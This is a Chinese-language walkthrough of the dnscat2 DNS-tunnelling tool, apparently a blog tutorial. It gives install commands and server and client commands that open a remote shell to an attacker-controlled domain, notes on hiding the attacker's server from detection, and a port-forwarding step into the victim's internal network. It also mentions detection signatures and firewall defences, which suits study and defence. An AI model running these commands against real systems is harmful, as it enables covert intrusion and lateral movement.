定义
域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务。IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来代替IP地址标识站点地址。域名解析就是域名到IP地址的转换过程,域名的解析工作由DNS服务器完成
Dnscat2
dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道,它的一大特色就是服务端会有一个命令行控制台,所有的指令都可以在该控制台内完成
场景
一般防火墙不会阻断,应用在防火墙上对其它流量封禁的场景
Dnscat2测试-下载安装
本次以dnscat2工具测试远控目标主机,下载安装方式如下,分为客户端和服务端,服务端是攻击机器,测试使用攻击者控制的vps,客户端是被控端,即控制的目标。
Server:
# yum install rubygems
# gem install bundler
# git clone https://github.com/iagox86/dnscat2.git
# cd dnscat2/server
# bundle install
Client:
# git clone https://github.com/iagox86/dnscat2.git
# cd dnscat2/client
# make
Dnscat2测试-服务端
以ruby执行dnscat2.rb,默认执行有个默认秘钥,也可以用-c参数手动指定
Dnscat2测试-客户端
指定连接服务端,--secret指定与上述秘钥一致
Dnscat2测试-会话建立
当客户端执行时会话建立,利用help命令可以查看帮助,sessions命令可以查看建立的会话
session -i 可以进入会话,进入会话后help可查看对应的操作
Dnscat2测试-命令执行
1、在进入会话后输入shell执行命令,这时会提示shell session created,即新建了一个shell会话。
2、Ctrl+Z退出当前会话,通过sessions命令查看会话信息,再次利用session -i 进入新建的shell会话,即可执行shell命令
Dnscat2测试-通信流量
利用wireshark查看终端通信流量,走的DNS协议,可以看到直接跟攻击者ip通信
通过上面基本测试,可以看到特征明显,很容易被检测发现,上文提到默认的 dnscat 查询中包含了dnscat 字符串,这个可以作为防火墙和入侵检测的特征,此外由于被控终端是直接指定的外联dns解析服务器IP,导致攻击者机器暴露,只需要防火墙上限制只允许与受信任的 DNS 服务器通信即可防范。
这节我们介绍另一种利用方式,dns隧道。
DNS隧道
1、DNS 隧道是 C&C 常用的通信方式,一般常用的编码方式 Base64、Binary、Hex 编码等,请求的 Type 一般为 TXT(为了返回的时候能够加入更多的信息),payload 部分一般为子域名
2、根据木马工作原理的不同,将 DNS隧道细分为IP直连型和域名型
上述介绍的其实就是IP直连型,下图为域名型dns隧道,典型的特征是受控终端DNS请求会先发往本地dns服务器解析,然后本地dns服务器再向外解析,最终找到攻击者控制的dns服务器,进而很好的保护了攻击者控制的dns服务端,从受害者终端流量只能看到受害终端与本地dns服务器的流量
域名型DNS隧道
DNS隧道测试
1、首先需要自己注册一个域名,笔者在阿里云买的,有便宜的几块钱1年,然后配置NS记录和A记录,域名解析服务器直接用的就是vps IP
2、服务端运行dnscat2,这是指向的是域名而不是前面测试直接写的ip,客户端一样
Server:ruby ./dnscat2.rb c.xxxxxx.top -e open -c 123456 --no-cache
Client:./dnscat --secret=123456 c.xxxxxx.top
服务端
客户端
dnscat2参数定义:
-c 参数定义了 pre-shared secret,可以使用具有预共享密钥的身份验证来防止中间人(man-in-the-middle)攻击,否则传输数据并未加密,有可能被监听网络流量的第三方还原;如果不加定义,Dnscat2会生成一个字符串,记得拷贝下来在启动客户端时使用。
-e 参数可以规定安全级别, open 代表让客户端进行选择。
--no-cache 请务必在运行服务器时添加无缓存选项,因为 powershell-dnscat2 客户端与 dnscat2 服务器的 caching 模式不兼容。
DNS隧道流量
通过这种方式再看终端通信流量,发现目的IP就不是攻击者域名服务器ip了,而是本地域名服务器ip,很好的隐藏了攻击者机器,同时域名请求记录中也没有了dnscat关键字。
这节讲下dns tunnel利用,当上述远控连接建立成功后,可以利用dns tunnel进一步对目标内网实施攻击。
1、在shell会话里查看目标ip,可以看到存在内网10段,当前主机为10.0.0.10,利用arp 命令可以看到内网段还存在其它主机,例如10.0.0.30
2、回到command会话,可以看到listen命令,利用listen命令将内网段主机端口22转发到攻击者vps本地6666
3、在vps本地连接转发出来的端口6666即可访问到目标内网的其它主机
实战中由于防护墙防护,利用DNS实施远控的场景很多,像典型的APT攻击中经常可见,关于DNS流量监测与阻断任重而道远。引用网上的一篇文章《从OilRig APT攻击分析恶意DNS流量阻断在企业安全建设中的必要性》。地址:https://mp.weixin.qq.com/s/dMbhTDLrXpBsVpPwdsDRrQ